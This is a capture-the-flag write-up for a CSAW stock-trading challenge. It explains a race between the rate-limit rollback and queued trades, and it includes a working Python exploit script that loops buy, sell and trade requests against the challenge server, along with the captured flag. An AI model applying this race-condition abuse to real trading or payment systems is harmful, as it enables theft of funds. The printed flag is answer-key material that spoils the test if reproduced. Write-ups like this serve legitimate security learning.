Challenge

A stock trading server. We had the server source (app.py, process.py) and the intern’s client (user.py). You can buy a stock, sell it back at the same price, or trade one stock for another. Requests go through a queue, and a trade is only honored when the stock you want is cheaper than the one you give up. Flags cost $9001, well above the starting balance.

The suspicious part is the backup. Every action snapshots your portfolio, and there is a throttle:

1
2
3
4
5
6
def Throttle_Splash():
    while True:
        sleep(10)
        for i in DB.getInstance().getUsers():
            i.requests = 0
        print(len(QUEUE))

If you make more than ten requests inside a ten second window, the server rolls you back to the backup:

1
2
if p.requests > 10:
    bkup[key] = Portfolio.bkup(key, p.portfolio, p.balance, p.requests)

Approach

A trade deducts your stock when it is first posted to the TRADEPOST, and only adds the new stock once the trade actually processes. The backup restore happens before the trade gets pulled from the tradepost. That ordering is the bug.

So if a trade is in flight when the throttle trips, the rollback restores your old balance and portfolio, then the pending trade still completes and hands you the traded-for stock. You keep the gains and pay nothing for them. Buy and sell increment the request counter, but the exchange does not, so the sequence has to cross the threshold on buy/sell and let the trade ride along.

Aidan and I traced the ordering together. The plan that came out of it: pad with cheap buy/sell pairs to approach the limit, buy one expensive stock, trip the throttle with one more sell, then trade the expensive stock for itself so the rollback fires while that trade is posted. Repeat, sell off the kept stock, and the balance climbs past $9001.

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time

ADDRESS = "http://stonk.csaw.io"
PORT = 4662

def sendPOST(subpath, data) -> str:
    url = ADDRESS + ":" + str(PORT) + subpath
    try:
        response = requests.post(url, data=data)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")
        return None

def buyStock(key, s):   return sendPOST("/buy",   {"key": key, "stock": s})
def sellStock(key, s):  return sendPOST("/sell",  {"key": key, "stock": s})
def tradeStock(key, s, s1): return sendPOST("/trade", {"key": key, "stock": s, "stock1": s1})
def status(key):        return sendPOST("/login", {"key": key})

KEY = 'hackpack2'
LOW_STOCK = 'GOOBER'        # 119.63, just to drive the request count
HIGH_STOCK = 'BURPSHARKHAT' # 1723.44, the one we want to keep for free

while True:
    print(status(KEY))
    # eight cheap transactions to approach the limit
    for i in range(4):
        print("BUY: " + buyStock(KEY, LOW_STOCK))
        print("SELL: " + sellStock(KEY, LOW_STOCK))

    # can't afford both at once at the start
    print("BUY: " + buyStock(KEY, LOW_STOCK))
    print("BUY: " + buyStock(KEY, HIGH_STOCK))  # 10th transaction

    # lock up the queue so it reverts to the backup
    print("SELL: " + sellStock(KEY, LOW_STOCK))

    # the trade that rides through the rollback
    print("TRADE: " + tradeStock(KEY, HIGH_STOCK, HIGH_STOCK))

    time.sleep(12)

The scraper runs asynchronously, so the rollback and the trade do not always land in the right order. Looping hits the happy path soon enough. Once the balance cleared $9001, option 5 on the menu bought the flag:

The trading menu showing a 13824 dollar balance and option 5 returning the flag

Flag

csawctf{R_Yu0_7h3_w0lf_0f_w4ll_57r337}